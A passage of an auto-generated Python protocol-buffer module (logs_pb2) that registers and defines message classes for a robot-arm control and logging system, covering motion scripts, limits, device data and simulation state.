_SNAPSHOTRESPONSE.fields_by_name['device_data_ref'].message_type = _DEVICEDATAREF
_SNAPSHOTRESPONSE.fields_by_name['status'].message_type = _STATUS
_GYMACTION.fields_by_name['arm_action_params'].message_type = _ARMACTIONPARAMS
_GYMACTION.fields_by_name['vacuum_action_params'].message_type = _VACUUMACTIONPARAMS
_GYMACTION.fields_by_name['logger_action_params'].message_type = _LOGGERACTIONPARAMS
_GYMACTION.fields_by_name['client_annotation_action_params'].message_type = _CLIENTANNOTATIONACTIONPARAMS
_GYMACTION.oneofs_by_name['params'].fields.append(
_GYMACTION.fields_by_name['arm_action_params'])
_GYMACTION.fields_by_name['arm_action_params'].containing_oneof = _GYMACTION.oneofs_by_name['params']
_GYMACTION.oneofs_by_name['params'].fields.append(
_GYMACTION.fields_by_name['vacuum_action_params'])
_GYMACTION.fields_by_name['vacuum_action_params'].containing_oneof = _GYMACTION.oneofs_by_name['params']
_GYMACTION.oneofs_by_name['params'].fields.append(
_GYMACTION.fields_by_name['logger_action_params'])
_GYMACTION.fields_by_name['logger_action_params'].containing_oneof = _GYMACTION.oneofs_by_name['params']
_GYMACTION.oneofs_by_name['params'].fields.append(
_GYMACTION.fields_by_name['client_annotation_action_params'])
_GYMACTION.fields_by_name['client_annotation_action_params'].containing_oneof = _GYMACTION.oneofs_by_name['params']
_LOGGERACTIONPARAMS.fields_by_name['event_params'].message_type = _KEYVALUE
_CLIENTANNOTATIONACTIONPARAMS.fields_by_name['annotation'].message_type = _CLIENTANNOTATION
DESCRIPTOR.message_types_by_name['CommandData'] = _COMMANDDATA
DESCRIPTOR.message_types_by_name['Alert'] = _ALERT
DESCRIPTOR.message_types_by_name['ClientSessionStart'] = _CLIENTSESSIONSTART
DESCRIPTOR.message_types_by_name['ClientAnnotation'] = _CLIENTANNOTATION
DESCRIPTOR.message_types_by_name['IntervalStart'] = _INTERVALSTART
DESCRIPTOR.message_types_by_name['IntervalEnd'] = _INTERVALEND
DESCRIPTOR.message_types_by_name['TextAnnotation'] = _TEXTANNOTATION
DESCRIPTOR.message_types_by_name['SnapshotAnnotation'] = _SNAPSHOTANNOTATION
DESCRIPTOR.message_types_by_name['PointMeasurement'] = _POINTMEASUREMENT
DESCRIPTOR.message_types_by_name['Measurement'] = _MEASUREMENT
DESCRIPTOR.message_types_by_name['WebrtcAudioRequest'] = _WEBRTCAUDIOREQUEST
DESCRIPTOR.message_types_by_name['WebrtcAudioResponse'] = _WEBRTCAUDIORESPONSE
DESCRIPTOR.message_types_by_name['StreamRequest'] = _STREAMREQUEST
DESCRIPTOR.message_types_by_name['ExperimentalCommandData'] = _EXPERIMENTALCOMMANDDATA
DESCRIPTOR.message_types_by_name['ReachScriptCommand'] = _REACHSCRIPTCOMMAND
DESCRIPTOR.message_types_by_name['ReachScriptCalibrationRequirement'] = _REACHSCRIPTCALIBRATIONREQUIREMENT
DESCRIPTOR.message_types_by_name['ReachScript'] = _REACHSCRIPT
DESCRIPTOR.message_types_by_name['SetRadialSpeedArgs'] = _SETRADIALSPEEDARGS
DESCRIPTOR.message_types_by_name['SetBlendRadiusArgs'] = _SETBLENDRADIUSARGS
DESCRIPTOR.message_types_by_name['MoveJWaypointArgs'] = _MOVEJWAYPOINTARGS
DESCRIPTOR.message_types_by_name['Limits'] = _LIMITS
DESCRIPTOR.message_types_by_name['ForceLimits'] = _FORCELIMITS
DESCRIPTOR.message_types_by_name['TorqueLimits'] = _TORQUELIMITS
DESCRIPTOR.message_types_by_name['SensorLimits'] = _SENSORLIMITS
DESCRIPTOR.message_types_by_name['MoveJPathArgs'] = _MOVEJPATHARGS
DESCRIPTOR.message_types_by_name['MoveLWaypointArgs'] = _MOVELWAYPOINTARGS
DESCRIPTOR.message_types_by_name['MoveLPathArgs'] = _MOVELPATHARGS
DESCRIPTOR.message_types_by_name['StopJArgs'] = _STOPJARGS
DESCRIPTOR.message_types_by_name['SetDigitalOutArgs'] = _SETDIGITALOUTARGS
DESCRIPTOR.message_types_by_name['SetAnalogOutArgs'] = _SETANALOGOUTARGS
DESCRIPTOR.message_types_by_name['SleepArgs'] = _SLEEPARGS
DESCRIPTOR.message_types_by_name['RawArgs'] = _RAWARGS
DESCRIPTOR.message_types_by_name['AcquireImageArgs'] = _ACQUIREIMAGEARGS
DESCRIPTOR.message_types_by_name['SyncArgs'] = _SYNCARGS
DESCRIPTOR.message_types_by_name['DeviceData'] = _DEVICEDATA
DESCRIPTOR.message_types_by_name['TextLogData'] = _TEXTLOGDATA
DESCRIPTOR.message_types_by_name['Health'] = _HEALTH
DESCRIPTOR.message_types_by_name['HeartBeats'] = _HEARTBEATS
DESCRIPTOR.message_types_by_name['HealthState'] = _HEALTHSTATE
DESCRIPTOR.message_types_by_name['ReportError'] = _REPORTERROR
DESCRIPTOR.message_types_by_name['ControllerDescriptions'] = _CONTROLLERDESCRIPTIONS
DESCRIPTOR.message_types_by_name['ControllerDescription'] = _CONTROLLERDESCRIPTION
DESCRIPTOR.message_types_by_name['SendToClient'] = _SENDTOCLIENT
DESCRIPTOR.message_types_by_name['History'] = _HISTORY
DESCRIPTOR.message_types_by_name['AudioRequest'] = _AUDIOREQUEST
DESCRIPTOR.message_types_by_name['SimInstanceSegmentation'] = _SIMINSTANCESEGMENTATION
DESCRIPTOR.message_types_by_name['SimState'] = _SIMSTATE
DESCRIPTOR.message_types_by_name['ObjectState'] = _OBJECTSTATE
DESCRIPTOR.message_types_by_name['SimAction'] = _SIMACTION
DESCRIPTOR.message_types_by_name['GetAllObjectPoses'] = _GETALLOBJECTPOSES
DESCRIPTOR.message_types_by_name['SetObjectPose'] = _SETOBJECTPOSE
DESCRIPTOR.message_types_by_name['DeleteObject'] = _DELETEOBJECT
DESCRIPTOR.message_types_by_name['SetCameraIntrinsics'] = _SETCAMERAINTRINSICS
DESCRIPTOR.message_types_by_name['AddObject'] = _ADDOBJECT
DESCRIPTOR.message_types_by_name['GetSegmentedImage'] = _GETSEGMENTEDIMAGE
DESCRIPTOR.message_types_by_name['Metadata'] = _METADATA
DESCRIPTOR.message_types_by_name['IOState'] = _IOSTATE
DESCRIPTOR.message_types_by_name['CapabilityState'] = _CAPABILITYSTATE
DESCRIPTOR.message_types_by_name['Color'] = _COLOR
DESCRIPTOR.message_types_by_name['ColorDepth'] = _COLORDEPTH
DESCRIPTOR.message_types_by_name['CompressedDepth'] = _COMPRESSEDDEPTH
DESCRIPTOR.message_types_by_name['KeyValue'] = _KEYVALUE
DESCRIPTOR.message_types_by_name['MessageLastTimestamp'] = _MESSAGELASTTIMESTAMP
DESCRIPTOR.message_types_by_name['InferenceRequest'] = _INFERENCEREQUEST
DESCRIPTOR.message_types_by_name['Prediction'] = _PREDICTION
DESCRIPTOR.message_types_by_name['PickPoint'] = _PICKPOINT
DESCRIPTOR.message_types_by_name['Level'] = _LEVEL
DESCRIPTOR.message_types_by_name['UrState'] = _URSTATE
DESCRIPTOR.message_types_by_name['RobotStopState'] = _ROBOTSTOPSTATE
DESCRIPTOR.message_types_by_name['RobotState'] = _ROBOTSTATE
DESCRIPTOR.message_types_by_name['DigitalBank'] = _DIGITALBANK
DESCRIPTOR.message_types_by_name['AnalogBank'] = _ANALOGBANK
DESCRIPTOR.message_types_by_name['IntegerBank'] = _INTEGERBANK
DESCRIPTOR.message_types_by_name['ConveyorState'] = _CONVEYORSTATE
DESCRIPTOR.message_types_by_name['ToolState'] = _TOOLSTATE
DESCRIPTOR.message_types_by_name['Status'] = _STATUS
DESCRIPTOR.message_types_by_name['Position'] = _POSITION
DESCRIPTOR.message_types_by_name['Rotation'] = _ROTATION
DESCRIPTOR.message_types_by_name['Scale'] = _SCALE
DESCRIPTOR.message_types_by_name['UserLabel'] = _USERLABEL
DESCRIPTOR.message_types_by_name['Pose2d'] = _POSE2D
DESCRIPTOR.message_types_by_name['Vec3d'] = _VEC3D
DESCRIPTOR.message_types_by_name['Quaternion3d'] = _QUATERNION3D
DESCRIPTOR.message_types_by_name['DeviceDataRef'] = _DEVICEDATAREF
DESCRIPTOR.message_types_by_name['PlaceLabel'] = _PLACELABEL
DESCRIPTOR.message_types_by_name['PickLabel'] = _PICKLABEL
DESCRIPTOR.message_types_by_name['SessionInfo'] = _SESSIONINFO
DESCRIPTOR.message_types_by_name['ProtectiveStopState'] = _PROTECTIVESTOPSTATE
DESCRIPTOR.message_types_by_name['SafeguardStopState'] = _SAFEGUARDSTOPSTATE
DESCRIPTOR.message_types_by_name['EmergencyStopState'] = _EMERGENCYSTOPSTATE
DESCRIPTOR.message_types_by_name['RobotPowerState'] = _ROBOTPOWERSTATE
DESCRIPTOR.message_types_by_name['Metric'] = _METRIC
DESCRIPTOR.message_types_by_name['EmptyMessage'] = _EMPTYMESSAGE
DESCRIPTOR.message_types_by_name['SetOutput'] = _SETOUTPUT
DESCRIPTOR.message_types_by_name['ConnectedClients'] = _CONNECTEDCLIENTS
DESCRIPTOR.message_types_by_name['ConnectedClient'] = _CONNECTEDCLIENT
DESCRIPTOR.message_types_by_name['Detection'] = _DETECTION
DESCRIPTOR.message_types_by_name['SourceImage'] = _SOURCEIMAGE
DESCRIPTOR.message_types_by_name['DetectionAprilGroupAprilTag'] = _DETECTIONAPRILGROUPAPRILTAG
DESCRIPTOR.message_types_by_name['DetectionAprilGroupInfo'] = _DETECTIONAPRILGROUPINFO
DESCRIPTOR.message_types_by_name['DetectionEntry'] = _DETECTIONENTRY
DESCRIPTOR.message_types_by_name['DetectionKey'] = _DETECTIONKEY
DESCRIPTOR.message_types_by_name['ShiftPerDetection'] = _SHIFTPERDETECTION
DESCRIPTOR.message_types_by_name['CameraShiftDetection'] = _CAMERASHIFTDETECTION
DESCRIPTOR.message_types_by_name['MovePosePathArgs'] = _MOVEPOSEPATHARGS
DESCRIPTOR.message_types_by_name['MovePoseWaypointArgs'] = _MOVEPOSEWAYPOINTARGS
DESCRIPTOR.message_types_by_name['WaitArgs'] = _WAITARGS
DESCRIPTOR.message_types_by_name['WaitTimeoutAction'] = _WAITTIMEOUTACTION
DESCRIPTOR.message_types_by_name['ReachScriptBooleanExpression'] = _REACHSCRIPTBOOLEANEXPRESSION
DESCRIPTOR.message_types_by_name['ReachScriptExpression'] = _REACHSCRIPTEXPRESSION
DESCRIPTOR.message_types_by_name['ReachScriptVar'] = _REACHSCRIPTVAR
DESCRIPTOR.message_types_by_name['ReachScriptConst'] = _REACHSCRIPTCONST
DESCRIPTOR.message_types_by_name['ReachScriptCapability'] = _REACHSCRIPTCAPABILITY
DESCRIPTOR.message_types_by_name['MachineInterface'] = _MACHINEINTERFACE
DESCRIPTOR.message_types_by_name['MachineDescription'] = _MACHINEDESCRIPTION
DESCRIPTOR.message_types_by_name['PipelineDescription'] = _PIPELINEDESCRIPTION
DESCRIPTOR.message_types_by_name['MachineInterfaces'] = _MACHINEINTERFACES
DESCRIPTOR.message_types_by_name['TextInstruction'] = _TEXTINSTRUCTION
DESCRIPTOR.message_types_by_name['Snapshot'] = _SNAPSHOT
DESCRIPTOR.message_types_by_name['SnapshotResponse'] = _SNAPSHOTRESPONSE
DESCRIPTOR.message_types_by_name['GymAction'] = _GYMACTION
DESCRIPTOR.message_types_by_name['ArmActionParams'] = _ARMACTIONPARAMS
DESCRIPTOR.message_types_by_name['VacuumActionParams'] = _VACUUMACTIONPARAMS
DESCRIPTOR.message_types_by_name['LoggerActionParams'] = _LOGGERACTIONPARAMS
DESCRIPTOR.message_types_by_name['ClientAnnotationActionParams'] = _CLIENTANNOTATIONACTIONPARAMS
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
CommandData = _reflection.GeneratedProtocolMessageType('CommandData', (_message.Message,), {
'DESCRIPTOR' : _COMMANDDATA,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.CommandData)
})
_sym_db.RegisterMessage(CommandData)
Alert = _reflection.GeneratedProtocolMessageType('Alert', (_message.Message,), {
'DESCRIPTOR' : _ALERT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Alert)
})
_sym_db.RegisterMessage(Alert)
ClientSessionStart = _reflection.GeneratedProtocolMessageType('ClientSessionStart', (_message.Message,), {
'DESCRIPTOR' : _CLIENTSESSIONSTART,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ClientSessionStart)
})
_sym_db.RegisterMessage(ClientSessionStart)
ClientAnnotation = _reflection.GeneratedProtocolMessageType('ClientAnnotation', (_message.Message,), {
'DESCRIPTOR' : _CLIENTANNOTATION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ClientAnnotation)
})
_sym_db.RegisterMessage(ClientAnnotation)
IntervalStart = _reflection.GeneratedProtocolMessageType('IntervalStart', (_message.Message,), {
'DESCRIPTOR' : _INTERVALSTART,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.IntervalStart)
})
_sym_db.RegisterMessage(IntervalStart)
IntervalEnd = _reflection.GeneratedProtocolMessageType('IntervalEnd', (_message.Message,), {
'DESCRIPTOR' : _INTERVALEND,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.IntervalEnd)
})
_sym_db.RegisterMessage(IntervalEnd)
TextAnnotation = _reflection.GeneratedProtocolMessageType('TextAnnotation', (_message.Message,), {
'DESCRIPTOR' : _TEXTANNOTATION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.TextAnnotation)
})
_sym_db.RegisterMessage(TextAnnotation)
SnapshotAnnotation = _reflection.GeneratedProtocolMessageType('SnapshotAnnotation', (_message.Message,), {
'DESCRIPTOR' : _SNAPSHOTANNOTATION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SnapshotAnnotation)
})
_sym_db.RegisterMessage(SnapshotAnnotation)
PointMeasurement = _reflection.GeneratedProtocolMessageType('PointMeasurement', (_message.Message,), {
'DESCRIPTOR' : _POINTMEASUREMENT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.PointMeasurement)
})
_sym_db.RegisterMessage(PointMeasurement)
Measurement = _reflection.GeneratedProtocolMessageType('Measurement', (_message.Message,), {
'DESCRIPTOR' : _MEASUREMENT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Measurement)
})
_sym_db.RegisterMessage(Measurement)
WebrtcAudioRequest = _reflection.GeneratedProtocolMessageType('WebrtcAudioRequest', (_message.Message,), {
'DESCRIPTOR' : _WEBRTCAUDIOREQUEST,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.WebrtcAudioRequest)
})
_sym_db.RegisterMessage(WebrtcAudioRequest)
WebrtcAudioResponse = _reflection.GeneratedProtocolMessageType('WebrtcAudioResponse', (_message.Message,), {
'DESCRIPTOR' : _WEBRTCAUDIORESPONSE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.WebrtcAudioResponse)
})
_sym_db.RegisterMessage(WebrtcAudioResponse)
StreamRequest = _reflection.GeneratedProtocolMessageType('StreamRequest', (_message.Message,), {
'DESCRIPTOR' : _STREAMREQUEST,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.StreamRequest)
})
_sym_db.RegisterMessage(StreamRequest)
ExperimentalCommandData = _reflection.GeneratedProtocolMessageType('ExperimentalCommandData', (_message.Message,), {
'DESCRIPTOR' : _EXPERIMENTALCOMMANDDATA,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ExperimentalCommandData)
})
_sym_db.RegisterMessage(ExperimentalCommandData)
ReachScriptCommand = _reflection.GeneratedProtocolMessageType('ReachScriptCommand', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTCOMMAND,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptCommand)
})
_sym_db.RegisterMessage(ReachScriptCommand)
ReachScriptCalibrationRequirement = _reflection.GeneratedProtocolMessageType('ReachScriptCalibrationRequirement', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPTCALIBRATIONREQUIREMENT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScriptCalibrationRequirement)
})
_sym_db.RegisterMessage(ReachScriptCalibrationRequirement)
ReachScript = _reflection.GeneratedProtocolMessageType('ReachScript', (_message.Message,), {
'DESCRIPTOR' : _REACHSCRIPT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReachScript)
})
_sym_db.RegisterMessage(ReachScript)
SetRadialSpeedArgs = _reflection.GeneratedProtocolMessageType('SetRadialSpeedArgs', (_message.Message,), {
'DESCRIPTOR' : _SETRADIALSPEEDARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetRadialSpeedArgs)
})
_sym_db.RegisterMessage(SetRadialSpeedArgs)
SetBlendRadiusArgs = _reflection.GeneratedProtocolMessageType('SetBlendRadiusArgs', (_message.Message,), {
'DESCRIPTOR' : _SETBLENDRADIUSARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetBlendRadiusArgs)
})
_sym_db.RegisterMessage(SetBlendRadiusArgs)
MoveJWaypointArgs = _reflection.GeneratedProtocolMessageType('MoveJWaypointArgs', (_message.Message,), {
'DESCRIPTOR' : _MOVEJWAYPOINTARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MoveJWaypointArgs)
})
_sym_db.RegisterMessage(MoveJWaypointArgs)
Limits = _reflection.GeneratedProtocolMessageType('Limits', (_message.Message,), {
'DESCRIPTOR' : _LIMITS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Limits)
})
_sym_db.RegisterMessage(Limits)
ForceLimits = _reflection.GeneratedProtocolMessageType('ForceLimits', (_message.Message,), {
'DESCRIPTOR' : _FORCELIMITS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ForceLimits)
})
_sym_db.RegisterMessage(ForceLimits)
TorqueLimits = _reflection.GeneratedProtocolMessageType('TorqueLimits', (_message.Message,), {
'DESCRIPTOR' : _TORQUELIMITS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.TorqueLimits)
})
_sym_db.RegisterMessage(TorqueLimits)
SensorLimits = _reflection.GeneratedProtocolMessageType('SensorLimits', (_message.Message,), {
'DESCRIPTOR' : _SENSORLIMITS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SensorLimits)
})
_sym_db.RegisterMessage(SensorLimits)
MoveJPathArgs = _reflection.GeneratedProtocolMessageType('MoveJPathArgs', (_message.Message,), {
'DESCRIPTOR' : _MOVEJPATHARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MoveJPathArgs)
})
_sym_db.RegisterMessage(MoveJPathArgs)
MoveLWaypointArgs = _reflection.GeneratedProtocolMessageType('MoveLWaypointArgs', (_message.Message,), {
'DESCRIPTOR' : _MOVELWAYPOINTARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MoveLWaypointArgs)
})
_sym_db.RegisterMessage(MoveLWaypointArgs)
MoveLPathArgs = _reflection.GeneratedProtocolMessageType('MoveLPathArgs', (_message.Message,), {
'DESCRIPTOR' : _MOVELPATHARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.MoveLPathArgs)
})
_sym_db.RegisterMessage(MoveLPathArgs)
StopJArgs = _reflection.GeneratedProtocolMessageType('StopJArgs', (_message.Message,), {
'DESCRIPTOR' : _STOPJARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.StopJArgs)
})
_sym_db.RegisterMessage(StopJArgs)
SetDigitalOutArgs = _reflection.GeneratedProtocolMessageType('SetDigitalOutArgs', (_message.Message,), {
'DESCRIPTOR' : _SETDIGITALOUTARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetDigitalOutArgs)
})
_sym_db.RegisterMessage(SetDigitalOutArgs)
SetAnalogOutArgs = _reflection.GeneratedProtocolMessageType('SetAnalogOutArgs', (_message.Message,), {
'DESCRIPTOR' : _SETANALOGOUTARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetAnalogOutArgs)
})
_sym_db.RegisterMessage(SetAnalogOutArgs)
SleepArgs = _reflection.GeneratedProtocolMessageType('SleepArgs', (_message.Message,), {
'DESCRIPTOR' : _SLEEPARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SleepArgs)
})
_sym_db.RegisterMessage(SleepArgs)
RawArgs = _reflection.GeneratedProtocolMessageType('RawArgs', (_message.Message,), {
'DESCRIPTOR' : _RAWARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.RawArgs)
})
_sym_db.RegisterMessage(RawArgs)
AcquireImageArgs = _reflection.GeneratedProtocolMessageType('AcquireImageArgs', (_message.Message,), {
'DESCRIPTOR' : _ACQUIREIMAGEARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.AcquireImageArgs)
})
_sym_db.RegisterMessage(AcquireImageArgs)
SyncArgs = _reflection.GeneratedProtocolMessageType('SyncArgs', (_message.Message,), {
'DESCRIPTOR' : _SYNCARGS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SyncArgs)
})
_sym_db.RegisterMessage(SyncArgs)
DeviceData = _reflection.GeneratedProtocolMessageType('DeviceData', (_message.Message,), {
'DESCRIPTOR' : _DEVICEDATA,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DeviceData)
})
_sym_db.RegisterMessage(DeviceData)
TextLogData = _reflection.GeneratedProtocolMessageType('TextLogData', (_message.Message,), {
'DESCRIPTOR' : _TEXTLOGDATA,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.TextLogData)
})
_sym_db.RegisterMessage(TextLogData)
Health = _reflection.GeneratedProtocolMessageType('Health', (_message.Message,), {
'DESCRIPTOR' : _HEALTH,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Health)
})
_sym_db.RegisterMessage(Health)
HeartBeats = _reflection.GeneratedProtocolMessageType('HeartBeats', (_message.Message,), {
'DESCRIPTOR' : _HEARTBEATS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.HeartBeats)
})
_sym_db.RegisterMessage(HeartBeats)
HealthState = _reflection.GeneratedProtocolMessageType('HealthState', (_message.Message,), {
'DESCRIPTOR' : _HEALTHSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.HealthState)
})
_sym_db.RegisterMessage(HealthState)
ReportError = _reflection.GeneratedProtocolMessageType('ReportError', (_message.Message,), {
'DESCRIPTOR' : _REPORTERROR,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ReportError)
})
_sym_db.RegisterMessage(ReportError)
ControllerDescriptions = _reflection.GeneratedProtocolMessageType('ControllerDescriptions', (_message.Message,), {
'DESCRIPTOR' : _CONTROLLERDESCRIPTIONS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ControllerDescriptions)
})
_sym_db.RegisterMessage(ControllerDescriptions)
ControllerDescription = _reflection.GeneratedProtocolMessageType('ControllerDescription', (_message.Message,), {
'DESCRIPTOR' : _CONTROLLERDESCRIPTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ControllerDescription)
})
_sym_db.RegisterMessage(ControllerDescription)
SendToClient = _reflection.GeneratedProtocolMessageType('SendToClient', (_message.Message,), {
'DESCRIPTOR' : _SENDTOCLIENT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SendToClient)
})
_sym_db.RegisterMessage(SendToClient)
History = _reflection.GeneratedProtocolMessageType('History', (_message.Message,), {
'DESCRIPTOR' : _HISTORY,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.History)
})
_sym_db.RegisterMessage(History)
AudioRequest = _reflection.GeneratedProtocolMessageType('AudioRequest', (_message.Message,), {
'DESCRIPTOR' : _AUDIOREQUEST,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.AudioRequest)
})
_sym_db.RegisterMessage(AudioRequest)
SimInstanceSegmentation = _reflection.GeneratedProtocolMessageType('SimInstanceSegmentation', (_message.Message,), {
'DESCRIPTOR' : _SIMINSTANCESEGMENTATION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SimInstanceSegmentation)
})
_sym_db.RegisterMessage(SimInstanceSegmentation)
SimState = _reflection.GeneratedProtocolMessageType('SimState', (_message.Message,), {
'DESCRIPTOR' : _SIMSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SimState)
})
_sym_db.RegisterMessage(SimState)
ObjectState = _reflection.GeneratedProtocolMessageType('ObjectState', (_message.Message,), {
'DESCRIPTOR' : _OBJECTSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ObjectState)
})
_sym_db.RegisterMessage(ObjectState)
SimAction = _reflection.GeneratedProtocolMessageType('SimAction', (_message.Message,), {
'DESCRIPTOR' : _SIMACTION,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SimAction)
})
_sym_db.RegisterMessage(SimAction)
GetAllObjectPoses = _reflection.GeneratedProtocolMessageType('GetAllObjectPoses', (_message.Message,), {
'DESCRIPTOR' : _GETALLOBJECTPOSES,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.GetAllObjectPoses)
})
_sym_db.RegisterMessage(GetAllObjectPoses)
SetObjectPose = _reflection.GeneratedProtocolMessageType('SetObjectPose', (_message.Message,), {
'DESCRIPTOR' : _SETOBJECTPOSE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetObjectPose)
})
_sym_db.RegisterMessage(SetObjectPose)
DeleteObject = _reflection.GeneratedProtocolMessageType('DeleteObject', (_message.Message,), {
'DESCRIPTOR' : _DELETEOBJECT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.DeleteObject)
})
_sym_db.RegisterMessage(DeleteObject)
SetCameraIntrinsics = _reflection.GeneratedProtocolMessageType('SetCameraIntrinsics', (_message.Message,), {
'DESCRIPTOR' : _SETCAMERAINTRINSICS,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.SetCameraIntrinsics)
})
_sym_db.RegisterMessage(SetCameraIntrinsics)
AddObject = _reflection.GeneratedProtocolMessageType('AddObject', (_message.Message,), {
'DESCRIPTOR' : _ADDOBJECT,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.AddObject)
})
_sym_db.RegisterMessage(AddObject)
GetSegmentedImage = _reflection.GeneratedProtocolMessageType('GetSegmentedImage', (_message.Message,), {
'DESCRIPTOR' : _GETSEGMENTEDIMAGE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.GetSegmentedImage)
})
_sym_db.RegisterMessage(GetSegmentedImage)
Metadata = _reflection.GeneratedProtocolMessageType('Metadata', (_message.Message,), {
'DESCRIPTOR' : _METADATA,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Metadata)
})
_sym_db.RegisterMessage(Metadata)
IOState = _reflection.GeneratedProtocolMessageType('IOState', (_message.Message,), {
'DESCRIPTOR' : _IOSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.IOState)
})
_sym_db.RegisterMessage(IOState)
CapabilityState = _reflection.GeneratedProtocolMessageType('CapabilityState', (_message.Message,), {
'DESCRIPTOR' : _CAPABILITYSTATE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.CapabilityState)
})
_sym_db.RegisterMessage(CapabilityState)
Color = _reflection.GeneratedProtocolMessageType('Color', (_message.Message,), {
'DESCRIPTOR' : _COLOR,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.Color)
})
_sym_db.RegisterMessage(Color)
ColorDepth = _reflection.GeneratedProtocolMessageType('ColorDepth', (_message.Message,), {
'DESCRIPTOR' : _COLORDEPTH,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.ColorDepth)
})
_sym_db.RegisterMessage(ColorDepth)
CompressedDepth = _reflection.GeneratedProtocolMessageType('CompressedDepth', (_message.Message,), {
'DESCRIPTOR' : _COMPRESSEDDEPTH,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.CompressedDepth)
})
_sym_db.RegisterMessage(CompressedDepth)
KeyValue = _reflection.GeneratedProtocolMessageType('KeyValue', (_message.Message,), {
'DESCRIPTOR' : _KEYVALUE,
'__module__' : 'logs_pb2'
# @@protoc_insertion_point(class_scope:robotics.learning.reach.KeyValue)
})
